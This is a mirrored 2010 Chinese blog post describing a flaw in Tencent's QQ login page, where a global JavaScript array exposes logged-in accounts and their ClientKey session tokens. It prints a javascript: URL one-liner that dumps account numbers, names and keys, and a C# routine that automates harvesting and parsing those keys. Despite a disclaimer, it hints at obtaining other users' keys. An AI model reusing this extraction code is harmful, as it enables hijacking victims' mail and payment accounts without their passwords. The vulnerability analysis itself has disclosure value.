zoukankan      html  css  js  c++  java
  • 漏洞无处不在之窃取你的QQ信息

    申明

     以下在文章中出现的内容皆从技术角度探讨问题,请勿使用下文所提到的技术从事非法行为!

                                                                               Thursday, July 01, 2010 


    我的上一篇博客 《检测本地是否登录了指定QQ》 中介绍了通过QQ官方页面来获取已登陆QQ信息的方法,

    通过对QQ页面中js文件的研究,我们可以更进一步的获取到更多信息!

    下面我们就来一步一步分析下,

    首先来看一下上次文章中提到的js中的一个关键函数:

    hummer_loaduin()
    function hummer_loaduin(){
        q_aUinList.length
    =0;
        
    var P=q_hummerQtrl.DoOperation(1,g_vOptData);
        
    if(null==P)
        {  
    return }
        
    try{
            
    var M=P.GetArray("PTALIST");
            
    var T=M.GetSize();
            
    var O="";
            
    var F=document.getElementById("list_uin");
            
    for(var U=0;U<T;U++)
            {
                
    var C=M.GetData(U);
                
    var R=C.GetDWord("dwSSO_Account_dwAccountUin");
                
    var G="";
                
    var J=C.GetByte("cSSO_Account_cAccountType");
                
    var S=R;
                
    if(J==1)
                {
                    
    try{
                        G
    =C.GetArray("SSO_Account_AccountValueList");
                        S
    =G.GetStr(0)
                    }
                    
    catch(Q)
                    {}
                }
                
    var K=0;
                
    try{
                    K
    =C.GetWord("wSSO_Account_wFaceIndex")
                }
                
    catch(Q)
                {K
    =0}
                
    var L="";
                
    try{
                    L
    =C.GetStr("strSSO_Account_strNickName")
                }
                
    catch(Q)
                {L
    =""}
                
    var D=C.GetBuf("bufGTKey_PTLOGIN");
                
    var E=C.GetBuf("bufST_PTLOGIN");
                
    var I="";
                
    var A=E.GetSize();
                
    for(var N=0;N<A;N++)
                {
                    
    var B=E.GetAt(N).toString("16");
                    
    if(B.length==1)
                    {B
    ="0"+B}
                    I
    +=B
                }
                
    var H={uin:R,name:S,type:J,face:K,nick:L,key:I};
                q_aUinList[U]
    =H
            }
            
    switch(q_aUinList.length)
            {
                
    case 0:ptui_reportAttr(77430,false);break;
                
    case 1:ptui_reportAttr(77431,false);break;
                
    default:ptui_reportAttr(77432,false)
            }
        }
        
    catch(Q){}
    }

    我们注意函数中的这一句:var H={uin:R,name:S,type:J,face:K,nick:L,key:I}; 

    为什么要注意这一句呢,我们假设现在不清楚它的COM 是通过哪些接口哪些命名来获取QQ信息的,

    但一般来说看字面意思 uin即是QQ账号 name即是QQ用户名 key当然就是。。(呵呵,大家应该都知道了) 

     为什么要强调这句代码呢,不是为了来理解字面意思,而是先让大家认识下本文的主题“窃取你的QQ信息”

     下面先给大家介绍一个东西:

      ClientKey,

    想必很多人都知道这个东西,也不乏有很多人在网上讨论如何获取这个东西,不知道的同学们现在就要注意啦,

    ClientKey 是一个你QQ登陆成功后从服务器返回来的值,利用这个值可以使用你账号在QQ的所有应用(这里说的有点不大清楚,不过还是自己去查下吧), 

    比如:通过ClientKey 我就可以登陆你的拍拍账号,甚至是财付通账号,通过ClientKey 我不需要你的QQ号密码就能登录你的QQ邮箱


     好了,废话不多说,我们接着分析,说到了ClientKey,那么聪明的同学都想到了 ClientKey就对应上面的var H.key,

    var H的其他字段都不重要了,因为有了key的存在,

     好,继续看var H 这句代码的下面一句:q_aUinList[U]=H 

    大家猜猜 q_aUinList 会是什么呢, (呵呵,猜个鸟啊猜)  往上看,var q_aUinList=new Array();

    这下知道咯 ,原来 q_aUinList 是个数组对象哦,综合起来:

    for(var U=0;U<T;U++)

    {

     var H={uin:R,name:S,type:J,face:K,nick:L,key:I};

     q_aUinList[U]=H ;

    很明显咯,q_aUinList数组对象存放了当前电脑所有登陆成功的QQ号的信息了,这还不是最关键(猜到最关键的是什么了麽?)!

    最最最最关键的是, var q_aUinList  居然是一个全局变量,

    这也是漏洞的所在了,在js文件中既然var q_aUinList是一个全局变量,那么,引用这个js的网页都可以访问这个var q_aUinList变量了,

    恰恰我们的腾讯官方页面加载后首先就调用了上文说到的2个关键函数,也就是在调用过程中 var q_aUinList变量的值已经被赋好了,

    而且 而且这玩意还允许我们访问,既然你允许,那我就毫不客气的来访问一下咯:

    构造如下的javascript代码:

    javascript:for(var C=0;C<q_aUinList.length;C++){var D=q_aUinList[C];document.write(D.uin+","+D.name+","+D.key+"\r");}

    很简单的一句代码,大家试着在已打开的腾讯登陆页面地址栏输入这句代码试试:

    不出意料, q_aUinList 被我们遍历了,q_aUinList值被我们读取了,高潮结束了,QQ信息就这样被我们窃取了,哎!

     不要急,猴急的同学要骂我了,你这取还不是只能取自己的,那要如何取别人的呢,关于这个我也就不多解释了,我想会写程序的哥们都应该知道吧!

     为了测试还是给出一段代码:

    GetLoginedCache()
     /// <summary>
            
    /// 暴力
            
    /// </summary>
            
    /// <returns></returns>
           public List<LoginedInfo> GetLoginedCache()
           {
               
    string htmlText = browser.Document.Body.InnerText;
               List
    <LoginedInfo> qqlist = new List<LoginedInfo>();
               
    string jscript = "javascript:for(var C=0;C<q_aUinList.length;C++){var D=q_aUinList[C];document.write(D.uin+\",\"+D.name+\",\"+D.key+\"$\");}void(0);";
               browser.Navigate(jscript);
               
    string readText = browser.Document.Body.InnerText;
               
    while (readText==htmlText)
               {
                   readText 
    = browser.Document.Body.InnerText;
                   Application.DoEvents();
               }
               
    string[] sArry = Regex.Split(readText, "$");
               
    for (int i = 0; i < sArry.Length;i++)
               {
                   
    if (sArry[i] != "" && sArry[i].Contains(","))
                   {
                       
    string[] infos = Regex.Split(sArry[i], ",");
                       
    if(infos.Length==3)
                       {
                           qqlist.Add(
    new LoginedInfo(infos[0],infos[1],infos[2]));
                       }
                   }
               }
               
    return qqlist;
           }
           
    //var H={uin:R,name:S,type:J,face:K,nick:L,key:I};
           public class LoginedInfo
           {
               
    public LoginedInfo(string uin ,string name,string key)
               {
                   
    this.Uin = uin;
                   
    this.Name = name;
                   
    this.Key = key;
               }
               
    public string Uin{get;set;}
               
    public string Name{get;set;}
               
    public string Key{get;set;}
           }

    到此为止,文章也快结束了,我们来谈谈这到底算不算漏洞,为什么会发生这样的漏洞!

    首先,我个人认为这是一个漏洞,而且我个人还认为一个页面的小瑕疵都可以说是漏洞,更何况此!

    其实,漏洞产生的原因, 很明显因为q_aUinList出了安全问题, 我个人不懂js也不会写js,不知道js里有没有private,public约束,

    至少在我们的c#程序里,如果q_aUinList保存的是一个关键信息,它肯定不应该是public的,

    通过本次分析,其实我们可以看到js虽然好用,但并不一定安全,就算没有了q_aUinList变量保存QQ信息,只要页面能获取,那就有可能被非法用户获取!

    好了,说了这么多该结束了,文章只是自己在前一篇文章中分析xue.js是发现现在又补充的一篇文章,希望大家不要用来做坏事!

    ps:也希望我们的网络是安全的 

  • 相关阅读:
    web框架本质及第一个Django实例
    jQuery练习题HTML文件
    jQuery快速入门
    前端之JS
    前端基础之HTML
    前端基础之css
    并发编程之 协程
    Linux目录结构详解
    第三周 time库
    网络打印机拒绝访问,无法连接处理方法汇总
  • 原文地址:https://www.cnblogs.com/cxwx/p/1769153.html
Copyright © 2011-2022 走看看